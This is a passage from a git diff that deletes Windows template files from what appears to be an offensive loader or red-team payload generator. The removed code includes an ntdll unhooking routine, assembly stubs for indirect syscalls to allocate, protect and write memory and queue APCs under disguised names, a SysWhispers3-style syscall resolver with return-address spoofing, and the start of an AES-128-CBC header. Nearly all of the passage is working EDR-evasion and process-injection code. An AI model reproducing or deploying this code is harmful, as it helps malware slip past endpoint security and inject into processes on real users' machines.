pNtMapViewOfSection(hSection, NtCurrentProcess(), &pntdll, 0, 0, NULL, &ViewSize, 1, 0, PAGE_READONLY); - if (!NT_SUCCESS(status2)) { - printf("[!] Failed in NtMapViewOfSection (%u)\n", GetLastError()); - getchar(); - return NULL; - } - return pntdll; -} - -BOOL Unhook(LPVOID module) { - - HANDLE hntdll = GetModuleHandleH(#-NTDLL_VALUE-#); - - PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)module; - PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((char*)(module)+DOSheader->e_lfanew); - if (!NTheader) { - printf(" [-] Not a PE file\n"); - return FALSE; - } - - PIMAGE_SECTION_HEADER sectionHdr = IMAGE_FIRST_SECTION(NTheader); - DWORD oldprotect = 0; - - for (WORD i = 0; i < NTheader->FileHeader.NumberOfSections; i++) { - - char txt[] = { '.','t','e','x','t', 0 }; - - if (!strcmp((char*)sectionHdr->Name, txt)) { - BOOL status1 = VirtualProtect((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldprotect); - if (!status1) - return FALSE; - - memcpy((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), (LPVOID)((DWORD64)module + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize); - - BOOL status2 = VirtualProtect((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize, oldprotect, &oldprotect); - if (!status2) - return FALSE; - - } - return TRUE; - } - -} \ No newline at end of file diff --git a/Windows/templates/staged/whispers-asm.x64.asm b/Windows/templates/staged/whispers-asm.x64.asm deleted file mode 100644 index fadce88..0000000 --- a/Windows/templates/staged/whispers-asm.x64.asm +++ /dev/null @@ -1,123 +0,0 @@ -; =============================================================== -; NASM x64 version of your assembly. -; Save as "whispers-asm.nasm", for example. -; Assemble: nasm -f win64 whispers-asm.nasm -o whispers-asm.obj -; Link: x86_64-w64-mingw32-gcc main.c whispers-asm.obj -o myprogram.exe -; =============================================================== - -bits 64 ; 64-bit code -default rel ; Use RIP-relative addressing by default - -section .text - -; Export the labels so your C code can call them -global NTAVM -global NTPVM -global NTWVM -global NTQAT - -; Declare external symbols (the calls to these are in your code) -extern SW3_GetSyscallNumber -extern SW3_GetRandomSyscallAddress - -; --------------------------------------------------------------------------- -; NTAVM -; --------------------------------------------------------------------------- -NTAVM: - mov [rsp + 8], rcx ; Save registers - mov [rsp + 16], rdx - mov [rsp + 24], r8 - mov [rsp + 32], r9 - - sub rsp, 0x28 - mov ecx, 0xC189CD1E ; Load function hash into ECX - call SW3_GetRandomSyscallAddress - mov r11, rax ; Save the address of the syscall - - mov ecx, 0xC189CD1E ; Re-load function hash (optional) - call SW3_GetSyscallNumber - - add rsp, 0x28 - mov rcx, [rsp + 8] ; Restore registers - mov rdx, [rsp + 16] - mov r8, [rsp + 24] - mov r9, [rsp + 32] - mov r10, rcx - jmp r11 ; Jump to -> Invoke system call - -; --------------------------------------------------------------------------- -; NTPVM -; --------------------------------------------------------------------------- -NTPVM: - mov [rsp + 8], rcx - mov [rsp + 16], rdx - mov [rsp + 24], r8 - mov [rsp + 32], r9 - - sub rsp, 0x28 - mov ecx, 0x159D0313 ; Load function hash - call SW3_GetRandomSyscallAddress - mov r11, rax - - mov ecx, 0x159D0313 ; Re-load function hash - call SW3_GetSyscallNumber - - add rsp, 0x28 - mov rcx, [rsp + 8] - mov rdx, [rsp + 16] - mov r8, [rsp + 24] - mov r9, [rsp + 32] - mov r10, rcx - jmp r11 - -; --------------------------------------------------------------------------- -; NTWVM -; --------------------------------------------------------------------------- -NTWVM: - mov [rsp + 8], rcx - mov [rsp + 16], rdx - mov [rsp + 24], r8 - mov [rsp + 32], r9 - - sub rsp, 0x28 - mov ecx, 0x83179B97 ; Load function hash - call SW3_GetRandomSyscallAddress - mov r11, rax - - mov ecx, 0x83179B97 - call SW3_GetSyscallNumber - - add rsp, 0x28 - mov rcx, [rsp + 8] - mov rdx, [rsp + 16] - mov r8, [rsp + 24] - mov r9, [rsp + 32] - mov r10, rcx - jmp r11 - -; --------------------------------------------------------------------------- -; NTQAT -; --------------------------------------------------------------------------- -NTQAT: - mov [rsp + 8], rcx - mov [rsp + 16], rdx - mov [rsp + 24], r8 - mov [rsp + 32], r9 - - sub rsp, 0x28 - mov ecx, 0x88AE129F ; Load function hash - call SW3_GetRandomSyscallAddress - mov r11, rax - - mov ecx, 0x88AE129F - call SW3_GetSyscallNumber - - add rsp, 0x28 - mov rcx, [rsp + 8] - mov rdx, [rsp + 16] - mov r8, [rsp + 24] - mov r9, [rsp + 32] - mov r10, rcx - jmp r11 - -; End of file diff --git a/Windows/templates/staged/whispers.c b/Windows/templates/staged/whispers.c deleted file mode 100644 index 96c0ae6..0000000 --- a/Windows/templates/staged/whispers.c +++ /dev/null @@ -1,278 +0,0 @@ -#include "whispers.h" -#include - -//#define DEBUG - -#define JUMPER - -#ifdef _M_IX86 - -EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) { - return (PVOID)__readfsdword(0xC0); -} - -__declspec(naked) BOOL local_is_wow64(void) -{ - __asm { - mov eax, fs:[0xc0] - test eax, eax - jne wow64 - mov eax, 0 - ret - wow64: - mov eax, 1 - ret - } -} - - -#endif - -// Code below is adapted from @modexpblog. Read linked article for more details. -// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams - -SW3_SYSCALL_LIST SW3_SyscallList; - -// SEARCH_AND_REPLACE -#ifdef SEARCH_AND_REPLACE -// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release -EXTERN void SearchAndReplace(unsigned char[], unsigned char[]); -#endif - -DWORD SW3_HashSyscall(PCSTR FunctionName) -{ - DWORD i = 0; - DWORD Hash = SW3_SEED; - - while (FunctionName[i]) - { - WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++); - Hash ^= PartialName + SW3_ROR8(Hash); - } - - return Hash; -} - -#ifndef JUMPER -PVOID SC_Address(PVOID NtApiAddress) -{ - return NULL; -} -#else -PVOID SC_Address(PVOID NtApiAddress) -{ - DWORD searchLimit = 512; - PVOID SyscallAddress; - - #ifdef _WIN64 - // If the process is 64-bit on a 64-bit OS, we need to search for syscall - BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 }; - ULONG distance_to_syscall = 0x12; - #else - // If the process is 32-bit on a 32-bit OS, we need to search for sysenter - BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 }; - ULONG distance_to_syscall = 0x0f; - #endif - - #ifdef _M_IX86 - // If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved - if (local_is_wow64()) - { - #ifdef DEBUG - printf("[+] Running 32-bit app on x64 (WOW64)\n"); - #endif - return NULL; - } - #endif - - // we don't really care if there is a 'jmp' between - // NtApiAddress and the 'syscall; ret' instructions - SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall); - - if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) - { - // we can use the original code for this system call :) - #if defined(DEBUG) - printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); - #endif - return SyscallAddress; - } - - // the 'syscall; ret' intructions have not been found, - // we will try to use one near it, similarly to HalosGate - - for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++) - { - // let's try with an Nt* API below our syscall - SyscallAddress = SW3_RVA2VA( - PVOID, - NtApiAddress, - distance_to_syscall + num_jumps * 0x20); - if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) - { - #if defined(DEBUG) - printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); - #endif - return SyscallAddress; - } - - // let's try with an Nt* API above our syscall - SyscallAddress = SW3_RVA2VA( - PVOID, - NtApiAddress, - distance_to_syscall - num_jumps * 0x20); - if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) - { - #if defined(DEBUG) - printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); - #endif - return SyscallAddress; - } - } - -#ifdef DEBUG - printf("Syscall Opcodes not found!\n"); -#endif - - return NULL; -} -#endif - - -BOOL SW3_PopulateSyscallList() -{ - // Return early if the list is already populated. - if (SW3_SyscallList.Count) return TRUE; - - #ifdef _WIN64 - PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60); - #else - PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30); - #endif - PSW3_PEB_LDR_DATA Ldr = Peb->Ldr; - PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; - PVOID DllBase = NULL; - - // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second - // in the list, so it's safer to loop through the full list and find it. - PSW3_LDR_DATA_TABLE_ENTRY LdrEntry; - for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) - { - DllBase = LdrEntry->DllBase; - PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; - PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); - PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; - DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; - if (VirtualAddress == 0) continue; - - ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); - - // If this is NTDLL.dll, exit loop. - PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); - - if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue; - if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break; - } - - if (!ExportDirectory) return FALSE; - - DWORD NumberOfNames = ExportDirectory->NumberOfNames; - PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); - PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); - PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); - - // Populate SW3_SyscallList with unsorted Zw* entries. - DWORD i = 0; - PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries; - do - { - PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); - - // Is this a system call? - if (*(USHORT*)FunctionName == 0x775a) - { - Entries[i].Hash = SW3_HashSyscall(FunctionName); - Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; - Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address)); - - i++; - if (i == SW3_MAX_ENTRIES) break; - } - } while (--NumberOfNames); - - // Save total number of system calls found. - SW3_SyscallList.Count = i; - - // Sort the list by address in ascending order. - for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++) - { - for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++) - { - if (Entries[j].Address > Entries[j + 1].Address) - { - // Swap entries. - SW3_SYSCALL_ENTRY TempEntry; - - TempEntry.Hash = Entries[j].Hash; - TempEntry.Address = Entries[j].Address; - TempEntry.SyscallAddress = Entries[j].SyscallAddress; - - Entries[j].Hash = Entries[j + 1].Hash; - Entries[j].Address = Entries[j + 1].Address; - Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress; - - Entries[j + 1].Hash = TempEntry.Hash; - Entries[j + 1].Address = TempEntry.Address; - Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress; - } - } - } - - return TRUE; -} - -EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash) -{ - // Ensure SW3_SyscallList is populated. - if (!SW3_PopulateSyscallList()) return -1; - - for (DWORD i = 0; i < SW3_SyscallList.Count; i++) - { - if (FunctionHash == SW3_SyscallList.Entries[i].Hash) - { - return i; - } - } - - return -1; -} - -EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash) -{ - // Ensure SW3_SyscallList is populated. - if (!SW3_PopulateSyscallList()) return NULL; - - for (DWORD i = 0; i < SW3_SyscallList.Count; i++) - { - if (FunctionHash == SW3_SyscallList.Entries[i].Hash) - { - return SW3_SyscallList.Entries[i].SyscallAddress; - } - } - - return NULL; -} - -EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash) -{ - // Ensure SW3_SyscallList is populated. - if (!SW3_PopulateSyscallList()) return NULL; - - DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count; - - while (FunctionHash == SW3_SyscallList.Entries[index].Hash){ - // Spoofing the syscall return address - index = ((DWORD) rand()) % SW3_SyscallList.Count; - } - return SW3_SyscallList.Entries[index].SyscallAddress; -} diff --git a/Windows/templates/staged/whispers.h b/Windows/templates/staged/whispers.h deleted file mode 100644 index 82c24e8..0000000 --- a/Windows/templates/staged/whispers.h +++ /dev/null @@ -1,100 +0,0 @@ -#pragma once - -// Code below is adapted from @modexpblog. Read linked article for more details. -// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams - -#ifndef SW3_HEADER_H_ -#define SW3_HEADER_H_ - -#include - -#ifndef _NTDEF_ -typedef _Return_type_success_(return >= 0) LONG NTSTATUS; -typedef NTSTATUS* PNTSTATUS; -#endif - -#define SW3_SEED 0x51EBD349 -#define SW3_ROL8(v) (v << 8 | v >> 24) -#define SW3_ROR8(v) (v >> 8 | v << 24) -#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v)) -#define SW3_MAX_ENTRIES 600 -#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) - -// Typedefs are prefixed to avoid pollution. - -typedef struct _SW3_SYSCALL_ENTRY -{ - DWORD Hash; - DWORD Address; - PVOID SyscallAddress; -} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY; - -typedef struct _SW3_SYSCALL_LIST -{ - DWORD Count; - SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES]; -} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST; - -typedef struct _SW3_PEB_LDR_DATA { - BYTE Reserved1[8]; - PVOID Reserved2[3]; - LIST_ENTRY InMemoryOrderModuleList; -} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA; - -typedef struct _SW3_LDR_DATA_TABLE_ENTRY { - PVOID Reserved1[2]; - LIST_ENTRY InMemoryOrderLinks; - PVOID Reserved2[2]; - PVOID DllBase; -} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY; - -typedef struct _SW3_PEB { - BYTE Reserved1[2]; - BYTE BeingDebugged; - BYTE Reserved2[1]; - PVOID Reserved3[2]; - PSW3_PEB_LDR_DATA Ldr; -} SW3_PEB, *PSW3_PEB; - -DWORD SW3_HashSyscall(PCSTR FunctionName); -BOOL SW3_PopulateSyscallList(); -EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash); -EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash); -EXTERN_C PVOID internal_cleancall_wow64_gate(VOID); -typedef VOID(KNORMAL_ROUTINE) ( - IN PVOID NormalContext, - IN PVOID SystemArgument1, - IN PVOID SystemArgument2); - -typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE; - -EXTERN_C NTSTATUS NTAVM( - IN HANDLE ProcessHandle, - IN OUT PVOID * BaseAddress, - IN ULONG ZeroBits, - IN OUT PSIZE_T RegionSize, - IN ULONG AllocationType, - IN ULONG Protect); - -EXTERN_C NTSTATUS NTPVM( - IN HANDLE ProcessHandle, - IN OUT PVOID * BaseAddress, - IN OUT PSIZE_T RegionSize, - IN ULONG NewProtect, - OUT PULONG OldProtect); - -EXTERN_C NTSTATUS NTWVM( - IN HANDLE ProcessHandle, - IN PVOID BaseAddress, - IN PVOID Buffer, - IN SIZE_T NumberOfBytesToWrite, - OUT PSIZE_T NumberOfBytesWritten OPTIONAL); - -EXTERN_C NTSTATUS NTQAT( - IN HANDLE ThreadHandle, - IN PKNORMAL_ROUTINE ApcRoutine, - IN PVOID ApcArgument1 OPTIONAL, - IN PVOID ApcArgument2 OPTIONAL, - IN PVOID ApcArgument3 OPTIONAL); - -#endif diff --git a/Windows/templates/stageless/AES_128_CBC.h b/Windows/templates/stageless/AES_128_CBC.h deleted file mode 100644 index cdebc4e..0000000 --- a/Windows/templates/stageless/AES_128_CBC.h +++ /dev/null @@ -1,965 +0,0 @@ -/* - -Original Implementation: https://github.com/halloweeks/AES-128-CBC -Modifications from MochaByte to handle data of any size. - -MIT License - -Copyright (c) 2024 Hallo Weeks - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. - -*/ - -#include - -#ifndef __AES_128_CBC_H__ -#define __AES_128_CBC_H__ - -#define AES_BLOCK_SIZE 16 -#define AES_KEY_SIZE 16 - -#define GETU32(in_data) (((unsigned int)(in_data)[0] << 24) ^ \ - ((unsigned int)(in_data)[1] << 16) ^ \ - ((unsigned int)(in_data)[2] << 8) ^ \ - ((unsigned int)(in_data)[3] << 0)) - -#define PUTU32(out_data, st) { (out_data)[0] = (unsigned char)((st) >> 24); \ - (out_data)[1] = (unsigned char)((st) >> 16); \ - (out_data)[2] = (unsigned char)((st) >> 8); \ - (out_data)[3] = (unsigned char)((st) >> 0); } - -static const unsigned int Te0[256] = -{ - 0xc66363a5U, 0xf87c7c84U, 0xee777799U, 0xf67b7b8dU, - 0xfff2f20dU, 0xd66b6bbdU, 0xde6f6fb1U, 0x91c5c554U, - 0x60303050U, 0x02010103U, 0xce6767a9U, 0x562b2b7dU, - 0xe7fefe19U, 0xb5d7d762U, 0x4dababe6U, 0xec76769aU, - 0x8fcaca45U, 0x1f82829dU, 0x89c9c940U, 0xfa7d7d87U, - 0xeffafa15U, 0xb25959ebU, 0x8e4747c9U, 0xfbf0f00bU, - 0x41adadecU, 0xb3d4d467U, 0x5fa2a2fdU, 0x45afafeaU, - 0x239c9cbfU, 0x53a4a4f7U, 0xe4727296U, 0x9bc0c05bU, - 0x75b7b7c2U, 0xe1fdfd1cU, 0x3d9393aeU, 0x4c26266aU, - 0x6c36365aU, 0x7e3f3f41U, 0xf5f7f702U, 0x83cccc4fU, - 0x6834345cU, 0x51a5a5f4U, 0xd1e5e534U, 0xf9f1f108U, - 0xe2717193U, 0xabd8d873U, 0x62313153U, 0x2a15153fU, - 0x0804040cU, 0x95c7c752U, 0x46232365U, 0x9dc3c35eU, - 0x30181828U, 0x379696a1U, 0x0a05050fU, 0x2f9a9ab5U, - 0x0e070709U, 0x24121236U, 0x1b80809bU, 0xdfe2e23dU, - 0xcdebeb26U, 0x4e272769U, 0x7fb2b2cdU, 0xea75759fU, - 0x1209091bU, 0x1d83839eU, 0x582c2c74U, 0x341a1a2eU, - 0x361b1b2dU, 0xdc6e6eb2U, 0xb45a5aeeU, 0x5ba0a0fbU, - 0xa45252f6U, 0x763b3b4dU, 0xb7d6d661U, 0x7db3b3ceU, - 0x5229297bU, 0xdde3e33eU, 0x5e2f2f71U, 0x13848497U, - 0xa65353f5U, 0xb9d1d168U, 0x00000000U, 0xc1eded2cU, - 0x40202060U, 0xe3fcfc1fU, 0x79b1b1c8U, 0xb65b5bedU, - 0xd46a6abeU, 0x8dcbcb46U, 0x67bebed9U, 0x7239394bU, - 0x944a4adeU, 0x984c4cd4U, 0xb05858e8U, 0x85cfcf4aU, - 0xbbd0d06bU, 0xc5efef2aU, 0x4faaaae5U, 0xedfbfb16U, - 0x864343c5U, 0x9a4d4dd7U, 0x66333355U, 0x11858594U, - 0x8a4545cfU, 0xe9f9f910U, 0x04020206U, 0xfe7f7f81U, - 0xa05050f0U, 0x783c3c44U, 0x259f9fbaU, 0x4ba8a8e3U, - 0xa25151f3U, 0x5da3a3feU, 0x804040c0U, 0x058f8f8aU, - 0x3f9292adU, 0x219d9dbcU, 0x70383848U, 0xf1f5f504U, - 0x63bcbcdfU, 0x77b6b6c1U, 0xafdada75U, 0x42212163U, - 0x20101030U, 0xe5ffff1aU, 0xfdf3f30eU, 0xbfd2d26dU, - 0x81cdcd4cU, 0x180c0c14U, 0x26131335U, 0xc3ecec2fU, - 0xbe5f5fe1U, 0x359797a2U, 0x884444ccU, 0x2e171739U, - 0x93c4c457U, 0x55a7a7f2U, 0xfc7e7e82U, 0x7a3d3d47U, - 0xc86464acU, 0xba5d5de7U, 0x3219192bU, 0xe6737395U, - 0xc06060a0U, 0x19818198U, 0x9e4f4fd1U, 0xa3dcdc7fU, - 0x44222266U, 0x542a2a7eU, 0x3b9090abU, 0x0b888883U, - 0x8c4646caU, 0xc7eeee29U, 0x6bb8b8d3U, 0x2814143cU, - 0xa7dede79U, 0xbc5e5ee2U, 0x160b0b1dU, 0xaddbdb76U, - 0xdbe0e03bU, 0x64323256U, 0x743a3a4eU, 0x140a0a1eU, - 0x924949dbU, 0x0c06060aU, 0x4824246cU, 0xb85c5ce4U, - 0x9fc2c25dU, 0xbdd3d36eU, 0x43acacefU, 0xc46262a6U, - 0x399191a8U, 0x319595a4U, 0xd3e4e437U, 0xf279798bU, - 0xd5e7e732U, 0x8bc8c843U, 0x6e373759U, 0xda6d6db7U, - 0x018d8d8cU, 0xb1d5d564U, 0x9c4e4ed2U, 0x49a9a9e0U, - 0xd86c6cb4U, 0xac5656faU, 0xf3f4f407U, 0xcfeaea25U, - 0xca6565afU, 0xf47a7a8eU, 0x47aeaee9U, 0x10080818U, - 0x6fbabad5U, 0xf0787888U, 0x4a25256fU, 0x5c2e2e72U, - 0x381c1c24U, 0x57a6a6f1U, 0x73b4b4c7U, 0x97c6c651U, - 0xcbe8e823U, 0xa1dddd7cU, 0xe874749cU, 0x3e1f1f21U, - 0x964b4bddU, 0x61bdbddcU, 0x0d8b8b86U, 0x0f8a8a85U, - 0xe0707090U, 0x7c3e3e42U, 0x71b5b5c4U, 0xcc6666aaU, - 0x904848d8U, 0x06030305U, 0xf7f6f601U, 0x1c0e0e12U, - 0xc26161a3U, 0x6a35355fU, 0xae5757f9U, 0x69b9b9d0U, - 0x17868691U, 0x99c1c158U, 0x3a1d1d27U, 0x279e9eb9U, - 0xd9e1e138U, 0xebf8f813U, 0x2b9898b3U, 0x22111133U, - 0xd26969bbU, 0xa9d9d970U, 0x078e8e89U, 0x339494a7U, - 0x2d9b9bb6U, 0x3c1e1e22U, 0x15878792U, 0xc9e9e920U, - 0x87cece49U, 0xaa5555ffU, 0x50282878U, 0xa5dfdf7aU, - 0x038c8c8fU, 0x59a1a1f8U, 0x09898980U, 0x1a0d0d17U, - 0x65bfbfdaU, 0xd7e6e631U, 0x844242c6U, 0xd06868b8U, - 0x824141c3U, 0x299999b0U, 0x5a2d2d77U, 0x1e0f0f11U, - 0x7bb0b0cbU, 0xa85454fcU, 0x6dbbbbd6U, 0x2c16163aU, -}; - -static const unsigned int Te1[256] = -{ - 0xa5c66363U, 0x84f87c7cU, 0x99ee7777U, 0x8df67b7bU, - 0x0dfff2f2U, 0xbdd66b6bU, 0xb1de6f6fU, 0x5491c5c5U, - 0x50603030U, 0x03020101U, 0xa9ce6767U, 0x7d562b2bU, - 0x19e7fefeU, 0x62b5d7d7U, 0xe64dababU, 0x9aec7676U, - 0x458fcacaU, 0x9d1f8282U, 0x4089c9c9U, 0x87fa7d7dU, - 0x15effafaU, 0xebb25959U, 0xc98e4747U, 0x0bfbf0f0U, - 0xec41adadU, 0x67b3d4d4U, 0xfd5fa2a2U, 0xea45afafU, - 0xbf239c9cU, 0xf753a4a4U, 0x96e47272U, 0x5b9bc0c0U, - 0xc275b7b7U, 0x1ce1fdfdU, 0xae3d9393U, 0x6a4c2626U, - 0x5a6c3636U, 0x417e3f3fU, 0x02f5f7f7U, 0x4f83ccccU, - 0x5c683434U, 0xf451a5a5U, 0x34d1e5e5U, 0x08f9f1f1U, - 0x93e27171U, 0x73abd8d8U, 0x53623131U, 0x3f2a1515U, - 0x0c080404U, 0x5295c7c7U, 0x65462323U, 0x5e9dc3c3U, - 0x28301818U, 0xa1379696U, 0x0f0a0505U, 0xb52f9a9aU, - 0x090e0707U, 0x36241212U, 0x9b1b8080U, 0x3ddfe2e2U, - 0x26cdebebU, 0x694e2727U, 0xcd7fb2b2U, 0x9fea7575U, - 0x1b120909U, 0x9e1d8383U, 0x74582c2cU, 0x2e341a1aU, - 0x2d361b1bU, 0xb2dc6e6eU, 0xeeb45a5aU, 0xfb5ba0a0U, - 0xf6a45252U, 0x4d763b3bU, 0x61b7d6d6U, 0xce7db3b3U, - 0x7b522929U, 0x3edde3e3U, 0x715e2f2fU, 0x97138484U, - 0xf5a65353U, 0x68b9d1d1U, 0x00000000U, 0x2cc1ededU, - 0x60402020U, 0x1fe3fcfcU, 0xc879b1b1U, 0xedb65b5bU, - 0xbed46a6aU, 0x468dcbcbU, 0xd967bebeU, 0x4b723939U, - 0xde944a4aU, 0xd4984c4cU, 0xe8b05858U, 0x4a85cfcfU, - 0x6bbbd0d0U, 0x2ac5efefU, 0xe54faaaaU, 0x16edfbfbU, - 0xc5864343U, 0xd79a4d4dU, 0x55663333U, 0x94118585U, - 0xcf8a4545U, 0x10e9f9f9U, 0x06040202U, 0x81fe7f7fU, - 0xf0a05050U, 0x44783c3cU, 0xba259f9fU, 0xe34ba8a8U, - 0xf3a25151U, 0xfe5da3a3U, 0xc0804040U, 0x8a058f8fU, - 0xad3f9292U, 0xbc219d9dU, 0x48703838U, 0x04f1f5f5U, - 0xdf63bcbcU, 0xc177b6b6U, 0x75afdadaU, 0x63422121U, - 0x30201010U, 0x1ae5ffffU, 0x0efdf3f3U, 0x6dbfd2d2U, - 0x4c81cdcdU, 0x14180c0cU, 0x35261313U, 0x2fc3ececU, - 0xe1be5f5fU, 0xa2359797U, 0xcc884444U, 0x392e1717U, - 0x5793c4c4U, 0xf255a7a7U, 0x82fc7e7eU, 0x477a3d3dU, - 0xacc86464U, 0xe7ba5d5dU, 0x2b321919U, 0x95e67373U, - 0xa0c06060U, 0x98198181U, 0xd19e4f4fU, 0x7fa3dcdcU, - 0x66442222U, 0x7e542a2aU, 0xab3b9090U, 0x830b8888U, - 0xca8c4646U, 0x29c7eeeeU, 0xd36bb8b8U, 0x3c281414U, - 0x79a7dedeU, 0xe2bc5e5eU, 0x1d160b0bU, 0x76addbdbU, - 0x3bdbe0e0U, 0x56643232U, 0x4e743a3aU, 0x1e140a0aU, - 0xdb924949U, 0x0a0c0606U, 0x6c482424U, 0xe4b85c5cU, - 0x5d9fc2c2U, 0x6ebdd3d3U, 0xef43acacU, 0xa6c46262U, - 0xa8399191U, 0xa4319595U, 0x37d3e4e4U, 0x8bf27979U, - 0x32d5e7e7U, 0x438bc8c8U, 0x596e3737U, 0xb7da6d6dU, - 0x8c018d8dU, 0x64b1d5d5U, 0xd29c4e4eU, 0xe049a9a9U, - 0xb4d86c6cU, 0xfaac5656U, 0x07f3f4f4U, 0x25cfeaeaU, - 0xafca6565U, 0x8ef47a7aU, 0xe947aeaeU, 0x18100808U, - 0xd56fbabaU, 0x88f07878U, 0x6f4a2525U, 0x725c2e2eU, - 0x24381c1cU, 0xf157a6a6U, 0xc773b4b4U, 0x5197c6c6U, - 0x23cbe8e8U, 0x7ca1ddddU, 0x9ce87474U, 0x213e1f1fU, - 0xdd964b4bU, 0xdc61bdbdU, 0x860d8b8bU, 0x850f8a8aU, - 0x90e07070U, 0x427c3e3eU, 0xc471b5b5U, 0xaacc6666U, - 0xd8904848U, 0x05060303U, 0x01f7f6f6U, 0x121c0e0eU, - 0xa3c26161U, 0x5f6a3535U, 0xf9ae5757U, 0xd069b9b9U, - 0x91178686U, 0x5899c1c1U, 0x273a1d1dU, 0xb9279e9eU, - 0x38d9e1e1U, 0x13ebf8f8U, 0xb32b9898U, 0x33221111U, - 0xbbd26969U, 0x70a9d9d9U, 0x89078e8eU, 0xa7339494U, - 0xb62d9b9bU, 0x223c1e1eU, 0x92158787U, 0x20c9e9e9U, - 0x4987ceceU, 0xffaa5555U, 0x78502828U, 0x7aa5dfdfU, - 0x8f038c8cU, 0xf859a1a1U, 0x80098989U, 0x171a0d0dU, - 0xda65bfbfU, 0x31d7e6e6U, 0xc6844242U, 0xb8d06868U, - 0xc3824141U, 0xb0299999U, 0x775a2d2dU, 0x111e0f0fU, - 0xcb7bb0b0U, 0xfca85454U, 0xd66dbbbbU, 0x3a2c1616U, -}; - -static const unsigned int Te2[256] = -{ - 0x63a5c663U, 0x7c84f87cU, 0x7799ee77U, 